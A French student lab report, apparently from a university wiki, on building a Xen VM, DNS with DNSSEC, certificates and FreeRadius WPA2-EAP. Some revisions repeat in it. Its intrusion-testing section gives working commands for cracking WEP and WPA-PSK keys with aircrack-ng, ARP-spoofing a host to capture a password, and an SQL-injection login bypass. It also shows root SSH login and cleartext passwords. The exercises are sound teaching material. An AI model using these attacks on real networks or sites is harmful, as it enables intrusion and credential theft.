[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T15:53:22Z

Lchenu : /* Partie commune */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T12:37:05Z

Lchenu : /* Serveur DNS */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

